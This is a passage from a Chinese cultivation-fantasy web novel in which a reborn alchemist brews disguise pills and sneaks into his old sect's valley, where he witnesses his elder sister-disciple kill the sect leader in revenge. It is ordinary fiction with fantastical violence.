也只有他们家的修士说媚骨天成是在夸人，换别人，那大概率在骂人。 谢琳琅淡淡道：“寂夜宫，谢玉，道友是天魅宗修士吗？” 名为琉月的修士看起来二十来岁，穿着一身月色长袍，长发细细编了辫子，从两鬓缠在脑后，又将发丝编成了漂亮的结，拢在脑后，细绳下方的流苏垂下来，仿佛帘幕，极为好看。 琉月有着一双风流美丽的桃花眼，烟波流转间俱是绵绵情意，任何人对上这双眼睛，身体都会有点软，可见其功力深厚。 他抿嘴笑：“寂夜宫还有这样天资优秀的弟子？怎么不来我天魅宗？” 琉月上前一步，似乎想要挽住谢琳琅的胳膊：“谢道友看上了什么？我出钱包了~” 不远处的沈鹤注意到谢琳琅似乎和人起了争执，连忙走过来：“师兄，怎么了？” 琉月的眼睛像是扫描仪，快速打量了沈鹤一番，确认这还是个半大小子，什么都不懂，立刻将之踢进了败犬的队列。 他无视了沈鹤，继续笑吟吟地对谢琳琅说：“谢道友？” 有人当冤大头，何乐而不为？ 谢琳琅正想答应，问一句我师弟还小，能不能带上他一起涨见识，争取双重消耗琉月的钱包，就见一个身材魁梧的大汉走了过来。 “出什么事了？” 这人是捡漏市场的管理者。 琉月立刻晦气地啐了一口：“真是败兴。” 他连忙将一枚玉简强行塞到谢琳琅的手里，随即脚步快速移动，月白色的袍角荡开，连弧度都是精心计算好的，像是绽放的莲花。 “咱们有缘再聊。” 琉月快速消失在诸多捡漏摊子间。 谢琳琅心中满是问号，他低头看了看玉简，是一种联络琉月的小术法。 沈鹤已经迎上管理者了，三言两语说清情况，那管理者说了句不要闹事，就离开了。 围观热闹的修士见状散开了，谢琳琅敏锐觉得事情不太对劲，下意识地环视四周，却什么都没找到。 稍远的地方，一个穿着黑色纱裙、头上戴了一朵白花的女子远远看着一脸迷茫的谢琳琅，她别开脸，如一抹幽影，转身消失了。 由于突然出了这档子事，沈鹤再没有逛的兴致了，他拉着谢琳琅要回居住的院子。 谢琳琅倒是无所谓，优秀的人总是会被更多人觊觎，眼睛长在别人身上，还不许人看了？ 沈鹤面带忿忿之色，他不仅生气于那琉月如此无礼，上来就说谢琳琅什么媚骨天成，还很生气自己被无视了，就好像那琉月眼里根本没有他，这让还是少年人的沈鹤如何能忍？ “那琉月也没多厉害啊，和我们一样是筑基期，太狂妄了！” 沈鹤一路上都在嘀嘀咕咕，努力说着琉月的坏话。 谢琳琅心不在焉，他仔细回想之前发生的事，那琉月看他的眼神透着点怪异。 还有，捡漏市场的管理者来的太快了，难道还有人在暗中盯着他？ 沈鹤却误以为谢琳琅真的记住了琉月，顿时郁闷极了。 回到居住的院落，沈鹤思考再三，竟主动去找了金翎真人，说自己接了师尊的嘱托，要照顾夜前辈，给夜前辈喂帮助消化的丹药。 金翎真人有点诧异，他自然知道夜前辈的真实身份。 面对沈鹤的请求，金翎真人不敢说自己不知道，也不能说他管不住宫主，只能敷衍说夜前辈身份特别，可能飞出去完了，一会就会回来云云。 沈鹤回到居住的房间，他开炉炼丹。 由于心里存着事，丹炉里的药性融合不是很好，最后不仅没有满丹，还废弃了两颗。 沈鹤重重地叹了口气。 就在此时，他面前的赤红树枝架子上，一缕漆黑的烟气凝聚起来，变成了一只杀马特的夜前辈。 夜前辈那双鲜红色的眼眸里满是冰冷和烦躁，像是在说你小子什么事？ 沈鹤立刻支棱起来，他激动地说：“夜前辈，您可算回来了，我之前和谢师兄出门遇到了一点事情，想向您打探一二。” 夜前辈歪了歪脑袋，头上那几根杀马特的长毛抖了抖。 沈鹤口齿伶俐，快速将捡漏市场上发生的事说了一遍，他忿忿地说：“那人好生无礼，居然直接说谢师兄媚骨天成，谢师兄风姿隽永，哪里媚骨了？他自己言语狂妄大胆，就说师兄也是这样的人，太过分了！” 随着他的述说，夜前辈身上的煞气和冷气越来越重，鲜红的眼眸仿佛血一样。 他第一次在沈鹤面前开口了：“他叫琉月？” 这声音沙哑干涩，像是砂子在刀锋上碾过。 沈鹤哆嗦了一下，心头那股恼火突兀消失了，他又有些忐忑，自己的行为是不是太冒失了？ 可、可师尊对自己这么好，被人欺负了，他难道不该帮忙吗？ “对，叫琉月，他长这样。” 沈鹤抬手释放了幻光法，将琉月的样貌展现出来。 裴寂夜见到的第一眼就恨不得变成暴怒小鸟，将琉月直接捅个对穿。 什么琉月？这特么不就是如月那个王八蛋吗？ 该死的他上次将如月穿成叉烧挂在天魅宗的大门口，这特么有一年吗？这厮怎么又搞出了一个分（）身？还已经筑基期了？这也太快了点吧？ 老天爷难道喜欢修士走魅惑之道？凭什么啊？ 裴寂夜第一次觉得沈鹤没那么糟糕了。 他上下审视着沈鹤，缓缓道：“干得好，下次再遇到琉月，你叫我。” 沈鹤怔了怔，叫夜前辈？怎么叫？ 下一秒，他就看到杀马特的夜前辈脑袋上支棱的鸟毛，吧嗒一声掉下来了一根。 沈鹤下意识地接到了手里。 这鸟毛是黑灰色的，鸟骨中空，隐隐流动着绿色的荧光。 他恍然大悟：“是我用魔气激活这根翎羽吗？没问题，我懂了，包在我身上！” 裴寂夜缓缓点头，冷不丁明白林郁为什么不太乐意捏死沈鹤了，这小子其实挺机灵的。 以及如月你这混蛋给老子等着！！ 与此同时，谢琳琅有感于今日的事情，突然产生了一种紧迫感。 他重修到现在，主要目的是为了在寂夜宫里找到可能存在的裴霁。 虽然跟着来九夏山参与芥子境的争夺，但也没想着和九夏山产生什么联系。 可若是有人看穿了他的身份…… 谢琳琅顿时觉得头疼极了。 他并不想再面对九夏山的掌门师叔。 他这位师叔非常难缠，手腕高超，话术精湛，将利益和人情交缠起来，总是能达成自己的目的，还让别人欠下人情。 谢琳琅思考再三，还是从乾坤袋里找出了一枚玉简。 这是杀马特的夜前辈交给他的、希望他改良的朱颜丹。 谢琳琅很快做出决定，一会就找钱师兄买齐材料，今晚就开炉炼丹，争取进入九夏山之前换张面皮！ 至于其中一些材料的价格极为高昂…… 没关系，相信夜前辈会报销的！ 第68章 第 68 章 哦，是谢玉本人。 谢琳琅一旦下定决心, 行动向来很快。 真正的朱颜丹需要炼制一周以上，但这本就是自己研制的丹方，他只是稍微调换了几种药效, 就配置出了低配版本的朱颜丹。 低配版本的朱颜丹完美达成了杀马特的夜前辈要的功效, 比如可以让妖兽变成人类, 可以改变容貌, 再比如哪怕是实力高超的修士也看不出真面目, 只能大概判断出这人伪装了容貌等等。 唯一的缺陷就是时效短, 六个时辰后药效就会消失，想要维持效果，必须在六个时辰内不断嗑药。 谢琳琅给这种新丹药取名叫换颜丹，自己先吃了一颗, 将容貌彻底固定下来, 防止再被人用瞳术或者秘法看出真面目。 他确定换颜丹有效后, 立刻叫来了沈鹤，快速将炼制手法和注意事项告诉了沈鹤。 “好了, 你也开炉炼丹, 不要求满丹，也不需要太好的品质，只要能保证六个时辰的药效就行了。” 谢琳琅暗自算了算，也不知道他要在九夏山停留多久, 最起码要半个月吧？ 半个月就是三十枚, 若是遇到突发事件需要临时补丹，加加减减最少需要四十枚打底。 又由于谢琳琅打着帮杀马特的夜前辈炼丹的名义, 找金翎真人要了不少高端材料，还得给夜前辈准备四十枚丹药。 这么算下来，若单靠谢琳琅一个人炼丹, 那未来几天什么都别做了。 沈鹤听了谢琳琅的要求，哦了一声就挽袖子开始干活。 师徒俩忙碌了一晚上，第二天两人都精神不济，看起来没精打采的。 不知道跑哪里的夜前辈又冒出来了，他落在谢琳琅的肩膀上，歪头打量谢琳琅，总觉得身侧的人似乎哪里不对劲，像是假的一样。 夜前辈立刻用鸟喙去啄谢琳琅的脸颊。 谢琳琅本就处于疲惫之中，他懒得再装模作样，很随意且不耐烦地将夜前辈拍下了肩膀。 夜前辈扑棱着肉翅落在地上。 哦，是谢玉本人。 夜前辈又飞到沈鹤肩膀上，他发现沈鹤似乎也很萎靡，就继续戳沈鹤。 沈鹤无奈地说：“别闹了，夜前辈，我和师兄忙碌了一晚上，才准备好你要的丹药。” 夜前辈满头雾水，正想继续戳沈鹤问什么情况，就见前方金翎真人已经招呼大家了。 “都休息好了？人齐了？走吧，我们去九夏山。” 应啸天带着十几个白骨宗的弟子站在另一侧，白衣少年看起来笑吟吟的，似乎在看着所有人，可实际上他的目光大部分时间都落在杀马特的夜前辈身上。 尤其当谢琳琅很失礼地将夜前辈撵到地上时，应啸天的眼珠子都要瞪出去了！ 应啸天很失礼地上下仔细打量谢琳琅，直到金翎真人开口，他才回神。 “哦，对，我们出发吧。” 应啸天又深深看了一眼似乎没精打采的谢琳琅，直到对上一双非常不善的鲜红色眼睛，应啸天才浑身一个激灵，转头走向传送阵。 寂夜宫弟子又经历了一遍传送，不过比起上次摔得七荤八素，这次弟子们都已经拿捏好了状态，在体内循环魔气以对抗灵力的扭曲旋转，总算平稳落地。 传送阵搭建在一处宽敞的平台上，谢琳琅顺着人群从平台上走下去，就看到和金翎真人互相打招呼的中年人。 中年人剑眉星目，气质儒雅。 他穿着一身天蓝色对襟外袍，里面是黑色绣暗纹长衣，长发束冠，颌下有短须，端是一派沉稳厚重的形象。 见到金翎真人后，中年人露出温和笑容，上前打招呼：“想必这位就是寂夜宫的执事金翎真人了吧？” 金翎真人：“神微真人。” 此人正是九夏山的掌门，神幽真人的师弟，谢琳琅和裴霁的师叔，神微真人。 谢琳琅看了一眼神微真人，立刻别开脸不去看对方。 只是眼神一转，谢琳琅竟看到了站在神微真人身后侧不远处的一个青年。 那青年似乎有些内向，穿着黑色长袍，腰配长剑，他长发扎马尾，额前刘海儿平齐，看上去乖巧安静。 谢琳琅垂下眼眸。 他自然认识这青年，青年叫闻净焱，是神微真人的大弟子，颇得神微真人看重。 神微真人自然希望闻净焱能继承他的衣钵，成为下一任九夏山的掌门。 但谢琳琅还算了解闻净焱，这人喜欢研究阵法一道，无心权术，甚至连修行都不太在意。 以前谢琳琅由于裴霁的原因摆了，倒是和闻净焱的心态差不多。 不管神微真人心里怎么想，面上他肯定对师兄留下的弟子颇为照顾，也乐见闻净焱和谢琳琅多交流，于是谢琳琅和闻净焱一个醉心炼丹、一个醉心研究阵法，两人关系反而颇为亲近。 可这一切都有个前提，那就是裴霁早已陨落。 若是裴霁还在人世间，若是裴霁当年去九灵宗的事有猫腻，那作为掌门，神微真人真的什么都不知道吗？ 伯夏一脉全都陨落，从此传承落入了神微真人手中，作为最终得利者，好像神微真人并不无辜。 谢琳琅心下叹息，他收敛心神，不去看九夏山的弟子们，转而看向前方似乎被云层遮掩的群山。 山峦层层叠叠，白色云层遮挡了巨山顶部的样貌，只看得到巍峨巨大的山峦仿佛天柱一样横在眼前，仿佛上古传说里的负天而行的巨人。 谢琳琅有些失神，他终究在这里成长修行，甚至和所爱之人相知相交，如今再回到这片故地，心情顿时复杂难言。 不独谢琳琅，裴寂夜也有些心不在焉。 自从他在与谢琳琅的道侣仪式前离开九夏山，百余年了，是他第一次重新踏上九夏山。 也不知道当年他和师弟在棠花谷的宅邸是否还在，要不要趁机去看看？ 就在谢琳琅出神之际，金翎真人和神微真人交流完毕。 神微真人打出了一道法诀，招来了天上一片白云，众人上了白云，徐徐升空，继而飘向了前方的巍峨巨山。 “这就是本派最巍峨的伯夏山，山门在半山腰，诸位的居所已经安置好了。” 神微真人面带笑容，说完这句话后目视自己的弟子闻净焱。 闻净焱慢了半拍才反应过来，连忙接上，“寂夜宫和白骨宗两派宗门安置在一起，旁边还有万鬼门和醉云亭的道友。” 这两个都是魔域二流门派，看样子九夏山将魔修们都安排在了一起。 “诸位可以在伯夏山转一转，只是还请注意，不要越过宗门设置的内门阵法。” 闻净焱说到阵法，语气明显热烈了许多，“我将警示阵法刻录在了玉简中，还请诸位随身携带。” 他拿出了一个小袋子，恭谨地交给了金翎真人。 金翎真人接过来，他看了看闻净焱，唔，元婴中期的修士，于是他很给面子的夸奖道：“名师出高徒，神微真人的弟子果然不凡。” 神微真人脸上露出一丝笑容，他意思意思推脱了一下：“他还需要多多修行。” 闻净焱脸上挂着尴尬而不失礼貌的笑容，像是一尊雕像，眼里透出了本人已死、有事烧纸的摆烂感。 裴寂夜看了一眼闻净焱后就挪开了视线。 他也认识闻净焱，不过他和闻净焱没什么交流。 他在九夏山时，闻净焱才金丹初期，天天猫在房里研究阵法，再加上神幽真人和神微俩师兄弟关系复杂，他们弟子间也向来避嫌，都会主动避开对方。 云朵随风而行，越是靠近巍峨的伯夏山，越是能感觉到修士的渺小，这山太宽太大，靠近后只觉得视野都被巨山所淹没。 在半山腰有一处牌坊，上面写着九夏两个上古文字，神微真人打出法诀，眼前的牌坊泛起淡淡波澜，如一个徐徐拉开的帷幕，露出了诸多亭台楼阁。 寂夜宫不少弟子都微微皱眉。 灵气太充裕了，对他们这些魔修来说很不适应。 神微真人刚进入山门，迎面就飞来一道虹光，他接过来略看了看，微微蹙眉。 金翎真人很上道地表示：“如果道友有别的事情要处理，不妨请闻道友招待我们即可。” 神微真人面色微缓：“多谢道友海涵，净焱，好好接待寂夜宫的道友。” 闻净焱躬身称是。 神微真人化为一抹流光消失了，闻净焱带着众人从云层降下，来到一个处半山腰的山坳里侧。 这边沿着山岩建造了很多亭台楼阁，中间还搭建了不少平台，其中已经一个平台上正三三两两站着几个身上明显萦绕着魔气的魔修。 平台外面萦绕着一层淡紫色罩子，不断浮动着特殊符文。 金翎真人仔细看了看，咦了一声。 “贵派是将这里的灵力尽可能削弱了吗？” 闻净焱轻轻嗯了一声，他带着众人来到另一侧平台上，先指着前方两栋阁楼道：“这里是诸位的居所。” 然后他似乎有些不好意思，“这是我为诸位魔修道友专门开发的排灵阵法。” 金翎真人上下打量闻净焱，这次的恭维明显多了一点真心：“道友果然不凡。” 闻净焱的脸色微微涨红，更尴尬了。 就在此时，沈鹤突然道：“前辈，弟子有一事想请教。” 闻净焱诧异地看着沈鹤，他没有因为沈鹤只有筑基期就贸然开口而不满，好脾气地说：“你问。” “我等此来九夏山，是想要参与贵派前辈琳琅道君的芥子境传承，其中涉及到了丹药修行，不知我等是否可以前往贵派的丹房，提前熟悉一下此地的灵火？” 沈鹤坦然道：“我等以前用的都是魔火炼丹，如今换成灵火，可能无法展现自身全部才能，与传承失之交臂。” 虽然沈鹤问的莽撞，寂夜宫几个高阶修士都有些微词，但沈鹤说的也是紧要之事，于是金翎真人面上替沈鹤打圆场：“弟子无状，还请见谅，只是丹房的事……？” 闻净焱似乎有些无措，他迟疑了几秒，缓缓道：“理论上是没问题的。” 但别的宗门好像也不像寂夜宫这样大咧咧问出来，可是自己师尊希望借着这次试炼扩大宗门影响力，若是贸然拒绝，又显得宗门露怯了…… 沈鹤立刻道：“原来如此，我等可以前去观看吗？不过我们也不知道具体位置，若是贸然走动可能会带来麻烦，还请前辈分派几个弟子，领着我们去熟悉一下环境，您看……” 顿了顿，他又说：“我们魔修炼丹手法和真界不同，若是有机会和同行交流，也是一大幸事。” 闻净焱听后觉得沈鹤说的对，他最终还是点头了：“你说的对，我会安排弟子过来的。” 第69章 第 69 章 为什么就是不敢开口？…… 待闻净焱离开后, 金翎真人才面色不渝地看着沈鹤。 “你倒是个口利的。” 低阶修士贸然插口高阶修士谈话，要不是闻净焱脾气好，可能会当场发作将人打伤。 即便金翎真人会拦下来, 也会和九夏山交恶。 沈鹤面不改色, 他开口问自然是受谢琳琅暗中指使 , 谢琳琅知道闻净焱的性子, 肯定不会有问题。 “是, 弟子莽撞了, 只是想到我等来的最晚，明天就要开始争夺传承了，一时心急，还请前辈赎罪。” 金翎真人皱了皱眉, 虽然不喜沈鹤此举, 可沈鹤也的确算是为宗门弟子争取了好处, 他道：“也罢，一会九夏山的人来了, 你们结伴分批次去这边的丹房看看情况, 其他人去附近和醉云亭等道友聊天打探消息。” 几个带队的金丹修士分派了弟子休息的房间，寂夜宫弟子们熟悉了环境后一哄而散，各自去找相熟的道友聊天了。 过了一会，有个九夏山弟子拿着铭牌过来说要带着寂夜宫弟子去丹房熟悉环境。 谢琳琅推着沈鹤先去了, 他决定最后一轮再去。 沈鹤也的确好奇, 就和钱师兄等人一起去了九夏山的丹房。 丹房在九夏山东侧一个山谷内，据说这里叫棠花谷, 开满了月棠花、蔷薇、垂丝海棠等各色鲜花，美丽绚烂，令人流连忘返。 最妙的是这些花朵还都可入药, 枝叶浸泡碾碎后也能用来制作上等符文，种植过的灵土还可以用来培育其他草药，和寂夜宫那边的生长环境截然不同。 沈鹤大开眼界，虽觉有些莽撞，可还是认为幸而开口提了要求。 否则哪里有机会深入到棠花谷，看到这等仙门大宗内部景象？ 谢琳琅没有出门交际，他压根不认识其他魔修，而是继续炼制换颜丹。 沈鹤已经抽空将换颜丹的事告诉了杀马特的夜前辈，夜前辈叼走了一瓶丹药，不知道跑哪里去了，谢琳琅也没理会。 除了炼制换颜丹，谢琳琅还炼制了渺然丹。 这是一种转变自身气息与周围融化为一体的、用来收敛气息、躲避追踪的丹药。 谢琳琅又翻找出了乐清屏推荐他购买的符箓文本，思虑再三，选了一张自成一界妙用符，以及另一张天魔乱舞惑心符。 前者可以在他表层形成一个虚幻缥缈的空间断层，除非是专门朝着他打出的澎湃攻击，基本上可以屏蔽掉大部分灵力攻击。 至于后者，谢琳琅将之与自己的请天魔降临结合起来，误导敌人将他误认为是域外天魔，以此断绝敌人的追踪。 将一切都准备妥当后，谢琳琅才离开静室。 外面天色转淡，似是黄昏。 最后一波前往丹房的弟子已经集齐了，九夏山来引导的修士也从最初的金丹期变成了筑基期。 想来最热心传承、关注丹房灵火状况的人都在第一波去过了，越是后去的弟子越不重要，所以九夏山来引导的修士也变得随意起来。 谢琳琅混在弟子中来到棠花谷。 棠花谷和他印象里没什么变化，山谷外侧生长着娇艳欲滴的艳丽花朵，山谷旁有一个巨大的石碑，上面写着棠花两字，妩媚妖娆。 谢琳琅久久地注视着棠花二字，心神微震，复杂难言。 也自然没注意到还有另一个弟子也正神色复杂地看着棠花二字。 那正是吃了换颜丹，变成了不起眼弟子的裴寂夜。 裴寂夜的新面皮是个灰发灰眼、面色普通、放进人群里就会消失的样貌，他想今晚在棠花谷多停留一阵子，遂选了最后一波来参观。 两人各自做了伪装，故地重游，都有些心不在焉，也没注意到各自的异样，只是随着人流进入了棠花谷。 九夏山的筑基弟子引着寂夜宫弟子去丹房，谢琳琅故意落在人后，不经意间掐了个法诀，无声无息地藏入了花丛中，继而脚步一转，朝着棠花谷深处快速掠去。 无独有偶，裴寂夜也是如此。 他走了几步才发现，斜前方还有一个黑衣少年与他一样，似乎想要深入到棠花谷内部。 裴寂夜总算收敛发散的思维，专注起来。 裴寂夜修为很高，谢琳琅没有发现裴寂夜，但裴寂夜已经认出了谢琳琅，不由得眉头紧皱，谢玉要做什么？ 裴寂夜是来怀念师弟顺便故地重游的，那谢玉呢？ 难道琳琅以前对谢玉说过棠花谷的事，所以谢玉也要来祭拜族中前辈？ 还、还是说…… 裴寂夜的心砰砰跳动，如擂鼓般逐渐变的响亮，他的手指微微颤抖，身体有些摇晃，似乎有了一种新的想法，却又不敢肯定。 他理智上觉得时间不对，谢玉来历可查，又直接出现在自己眼前，一切太顺理成章、像是巧合，有点太顺遂了，让一直走背运的裴霁不敢相信自己还能有如此好运。 可情感上，他心底又不断冒出另一个声音，试一试呢？万一呢？假的也没什么损失，就当是照拂琳琅的家人，如果是真的呢？ 这么一本万利、包赚不赔的事，为什么就是不敢开口？ 只因真相重逾泰山，若真的是谢琳琅，他、他要怎么说明自己的身份？琳琅又是怎么想的？他会怎么看待他？ 裴寂夜满脑子胡思乱想，身体像是被按了跟随键一样，就这么轻飘飘地随着谢琳琅向前走。 可是跟着跟着，谢琳琅不见了。 裴寂夜猛地停下脚步，突然清醒了过来。 他忍不住抬手扶额，人在九夏山内部，他居然还能胡思乱想，真是太不谨慎了。 可、可那也许是琳琅啊…… 裴寂夜一边给自己开脱，一边打量周围。 不知不觉间，他竟深入了棠花丛中，四周全是盛放的棠花，艳粉色、玫红色以及正红色的花朵挂在枝头，像是一个个笑颜如花、对着他笑的丽人，似乎随时都会翩翩起舞，杀人与无形之间。 裴寂夜凝神细看，他竟在不知不觉间陷入到了阵法中？ 等等，棠花谷内还有这等防护阵法？ ……当然有，在裴霁陨落后，谢琳琅隐居在棠花谷，他不耐烦见人，就在隐居的竹林和溪水外围设置了阵法。 除了寥寥几人知道进入阵法的方法，其他弟子只能在丹房炼丹或者宗门大课时见到他。 说来好笑，这阵法还是闻净焱专门为谢琳琅改良设立的，以棠花谷无数棠花为阵眼，融合了天魔幻术，可以惑人于无形，顷刻间抓捕到不怀好意之徒。 谢琳琅穿过阵法，来到了潺潺溪水边。 他并未发现有人跟踪，裴寂夜的实力比他高，也提前做了各种准备，谢琳琅重回故地，也有些心不在焉，没注意身后的情况。 他穿过花丛，正要踏上竹林间的栈道，抵达栈道尽头的旧日府邸，突然眼眸微动，快速隐入了竹林里。 竹林里也有一个阵法，是谢琳琅以前布置的、凝聚天风露水的养灵阵法。 谢琳琅过于熟悉这里，他藏匿在养灵阵法里，可以借用阵法周围的灵力掩盖他身上的魔气。 却见从竹林栈道尽头缓步走来了两个人。 一个是今日在九夏山山门前见到的神微真人，他依旧穿着那身蓝色对襟长袍，里面穿着黑色绣银线的长衣，他长发束冠，一副沉稳厚重的儒雅模样。 “……既是回来了，就在宗门里好生休息些日子，你的住所还留着，你……” 随着他的话音，后面有一女子无声无息地走来。 女子穿着黑色长裙，头披黑纱，鬓角戴白花，面容清秀，气质安静沉寂。 谢琳琅看了一眼后立刻别开脸，不敢再看，心里却充满了震惊。 红师姐！ 他那位与师尊关系不睦，元婴期后就远走修行的红师姐回来了！ 不只是谢琳琅见到这位大师姐而心生尴尬，连当年的裴霁也很纠结。 两人的师尊神幽真人一边嫌弃大弟子的资质，却又倚着大师姐才有重修的机会，他带着大师姐回归九夏山，倒也尽力帮大师姐修行，可也难掩对大师姐才能的嫌弃。 只能说他们的师尊真不是个会掩盖心思的人。 更尴尬的是，红师姐名义上是谢琳琅和裴霁的大师姐，但实际上只是记名弟子，并非神幽真人的嫡传，她甚至没有上九夏山的弟子谱系！！ ……谢琳琅和裴霁虽然私下里觉得师尊这么做不合适，可为尊者讳，他们也不好说什么，只能敬着大师姐。 红师姐也知道个中纠葛，进阶元婴、有了自保之力后，她就远远离开了。 她只在谢琳琅和裴霁打算结为道侣时回来过一趟，结果没多久裴霁陨落了，红师姐宽慰了谢琳琅，又离开了九夏山。 谢琳琅真的很久没见过红师姐了。 红师姐离开时尚且是元婴后期，结果百余年没见，他刚才快速扫了一眼，红师姐已然比他的修为还高了！ 谢琳琅好歹还有化神期的神识水平，比他还厉害，那最少也是渡劫初期的大能！ 这速度也过于惊人了。 谢琳琅心里暗自咋舌。 事实上神微真人的心情也不像他表现出来的那样沉稳淡定。 红师姐跟着神幽真人回到九夏山后，由于神幽真人自己的缘故，他也没给红师姐提名号的事，更没有改名的意思。 红师姐自我介绍时也直白地说她叫小红。 闹得最初见到她的神微真人以为是晓红，还真情实意地夸过，说破晓之红日，必成大器。 神幽真人当时就嘲讽说，她出身低微，能得师弟看重，也是她的幸事。 言外之意，师弟你什么眼神？ 闹得神微真人尴尬极了。 谁能想到呢？当年神幽真人留下的三个弟子里，明明是资质最普通的小红，一路披荆斩棘，成为了渡劫中期的高手，站在了他面前。 神微真人一方面觉得自己当年没看错人，心中自得，一方面又有些警惕和忧虑。 小红这丫头在此时此刻回九夏山，她想做什么？ 第70章 第 70 章 今日来，今日走。 “我一会就走了。” 红师姐如此说。 越是修为高深之人, 一言一行皆融入天地自然，举手投足间自带一抹难以形容的风韵。 然而红师姐依旧普普通通，除了气质幽冷深邃了些, 就和普通女子没什么差别。 她的声音也很平和淡然, 听不出别的情绪, 如她这个人一样, 随时都可能消隐无踪。 “我只是来看看谢师弟。” 红师姐缓缓转身, 她看着竹林栈道尽头的那间棠花谷深处的宅邸, “我接到消息已经晚了，紧赶慢赶回来，却已经过去一年多了。” 神微真人一脸沉痛：“唉，我也没想到琳琅……本以为那孩子功德无量, 有天地庇护, 应该能顺利进入渡劫期的, 结果竟落得身死道消，太令人心痛了。” 红师姐收回注视的目光, 她缓步向前。 神微真人以为她要离开, 就再一次伸手做阻拦状，“你难得回来一趟，真的不多留几天吗？明日就是琳琅留下的芥子境开启之日，你不想知道谁有机会得到琳琅的传承吗？” “那孩子钻研丹道, 留下了诸多丹方, 若能寻到一个合适的继承人，也是一大幸事, 你……” 神微真人的话说不出口了。 一只纤纤素手已然无声无息地穿过了他的紫府，轻轻捏住了他的元婴。 神微真人震惊了，完全没想到红师姐会暴起动手。 因为角度问题, 谢琳琅就在栈道侧面的养灵阵法里侧，正好看到这一幕，也不由自主地瞪圆了眼睛。 天啊，红师姐在做什么？ 原来红师姐在与神微真人侧身而过之际，突然袭击。 这一击不带一丝烟火气，也没有任何灵力反应，直接穿透了神微真人的紫府！！ 红师姐一席黑色长裙，鬓边戴着白色纸花，她依旧是那副平静无波的面容，一双漆黑的眼眸里泛着漠然与冷光。 她微微凑到神微真人耳边，轻声道：“你还有脸对我说传承。” 神微真人唇角缓缓留下一丝鲜血，他飞速调动体内灵力，想要快速后退。 然而不知为何，体内的灵力像是凝固成了石头，完全没有任何反应？！ 他的唇颤抖着，语无伦次，“小红，你、可师兄当年对你……” “师尊嫌弃我，是我们伯夏的事，你没资格。” 红师姐一点点将神微真人的元婴拽了出来。 也不知道她怎么做到的，那纤纤素手上萦绕着金色光芒，薄薄的光仿佛山岳般厚重，竟压得神微真人完全无法反抗。 “原因、理由什么的，都是当老爷的一张口的事。” 红师姐的另一只手掐了个法诀，一缕黑色烟雾融入到了金色光芒之中，很快神微真人的元婴无声哀嚎起来，“我只看到了结果。” 她的第一个师弟死的不明不白，她的第二个师弟明明享誉真界，光风霁月，积累了很多功德，却被天劫劈死了？ 若是天道不公，大家还修什么道？ 若是天道公正，以谢琳琅的功德不可能被天劫清算，那只有一种可能，有人在其中动了手脚。 而如今，她的师弟才陨落了一年多，留下的传承就被神微真人当做提升九夏山的理由和借口，请来无数不相干的人争夺师弟的遗物。 这不是欺负他们这一脉的人都死绝了吗？ 可她还在啊。 也许神微真人有很多“不得不”的理由，但最终得利的人是他。 “师尊在地下等你多年，作为师弟，不好让师兄多等，你该去了。” 红师姐懒得去追查其中真相或者纠葛，她只是来送神微真人去地府的。 今日来，今日走，有仇不过夜，主打一个念头通畅。 神微真人的眼睛都要突出来了，他死死抓着红师姐的手腕，可纵使他有千般手段，此刻竟什么都用不出来。 他满心惶恐和不解，为什么他毫无反击之力？！ 就算小红比他强，可他也是渡劫初期的修士，也不至于直接完蛋啊？！ 然而不管神微真人有再多雄心壮志，也不管他心中如何想，随着红师姐释放的黑色烟雾彻底浸染了神微真人的元婴，渐渐的，神微真人的意识越来越模糊。 无数记忆浮现在脑海中，像是时光在倒流，他看到自己成为掌门后大权在握、意气风发的爽快感，他看到了自己面对师兄时不得不低头的憋屈和怨怼，得知师兄陨落后的狂喜和那一点点悲伤，以及最早他上山拜入师尊门下时，那个需要他仰望的师兄背影…… 最终的最终，神微真人的眼睛失去了神采，噗通一声跌落在地。 红师姐微微一甩，撇开了神微真人抓着她手腕的手指。 她拿出帕子，擦了擦手腕，继而那帕子化为细细的灰，消散在空气中。 红师姐一言不发，她低着头，敛着衣袖，黑纱遮挡了她大半容颜，轻抬脚步，像是越过一片尘土般，继续向栈道外走去。 她鬓边的白色纸花在竹林间的冷风吹拂下，发出细微的簌簌声。 女子无声无息地来，又如一抹林间雾气，无声无息消失了。 夜露深重，纵然身为修士，不惧寒冷，可谢琳琅还是许久不能言，后背全是冷汗。 他怔怔地看着地上的尸体，心情如调色盘，复杂而茫然。 红师姐怎么做到的？不对，红师姐回来是为了给他报仇？ 谢琳琅心底升腾起了丝丝愧疚。 由于师尊神幽真人的缘故，谢琳琅向来敬着这位师姐，没太多亲近之意。 没想到红师姐会特意回来，还直接干掉了神微真人。 谢琳琅的确对神微真人有不满和厌恶之处，也怀疑神微真人在裴霁的事上做了小动作。 但他还没机会查清楚呢，红师姐就直接动手了？ 谢琳琅满脑子都是十万个为什么，直到幽冷的夜风吹来，他才猛地惊醒。 不对，九夏山的掌门死在棠花谷，为何九夏山的其他修士没有任何感觉？ 作为九夏山的掌门，神微真人身上有一二与宗门联系紧密的宝物，若是他死了，宗门该得到示警的！ 谢琳琅有心上前仔细检查一番，可他刚迈出一步，又迟疑了。 他现在是寂夜宫的魔修，贸然露面反而会引火上身，若他还有过去的化神修为，倒是可以试探一二，但现在他只有筑基期…… 谢琳琅深深看了一眼栈道上的尸体，飞速掐法诀，处理了自己来过的痕迹，转身离开了。 而在谢琳琅离开后，慢了一步进来的裴寂夜神色凝重地看着地上的尸体。 笼罩在附近的阵法虽然麻烦，但主要是以困人为主，裴寂夜稍微费了点心思，还是成功找到阵眼钻了进来。 他进来的瞬间，正好看到红师姐那只纤纤素手泛起金光，顿时整个人都僵硬了。 因为裴寂夜冥冥之中有种感觉，若是他也被这攻击抓住元婴，他也会和神微真人一样，像是案板上的咸鱼任由红师姐捏扁揉圆！！ 裴寂夜几乎吓得魂飞魄散。 他真的很多年没有这种濒死的感觉了，堪比当年在九灵宗时差点被人抽走神魂和血脉一样恐怖。 裴寂夜咬牙发挥出全部力量，疯狂收敛气息，死死压抑着全部魔气，藏匿在棠花丛里，生怕被红师姐发现踪迹。 直到红师姐如一缕烟雾般消散，谢琳琅也仓惶离开，裴寂夜才缓缓吐出憋了半天的那口气。 ……红师姐啊。 裴寂夜心下苦笑，他年轻时也不曾将红师姐看在眼里，一方面师尊神幽真人的态度，另一方面也有红师姐自己的缘故。 她不爱说话，总是闷着头修行，任由他人随意传闲言碎语，还天天低着头，怎么都挺不直腰杆似的。 即便裴寂夜有心为红师姐张目，可红师姐自己立不起来，他说再多也无用，所以渐渐的他顶多暗中让出些自己嫡传弟子的资源，给师姐从记名弟子也补成嫡传，就没再做什么了。 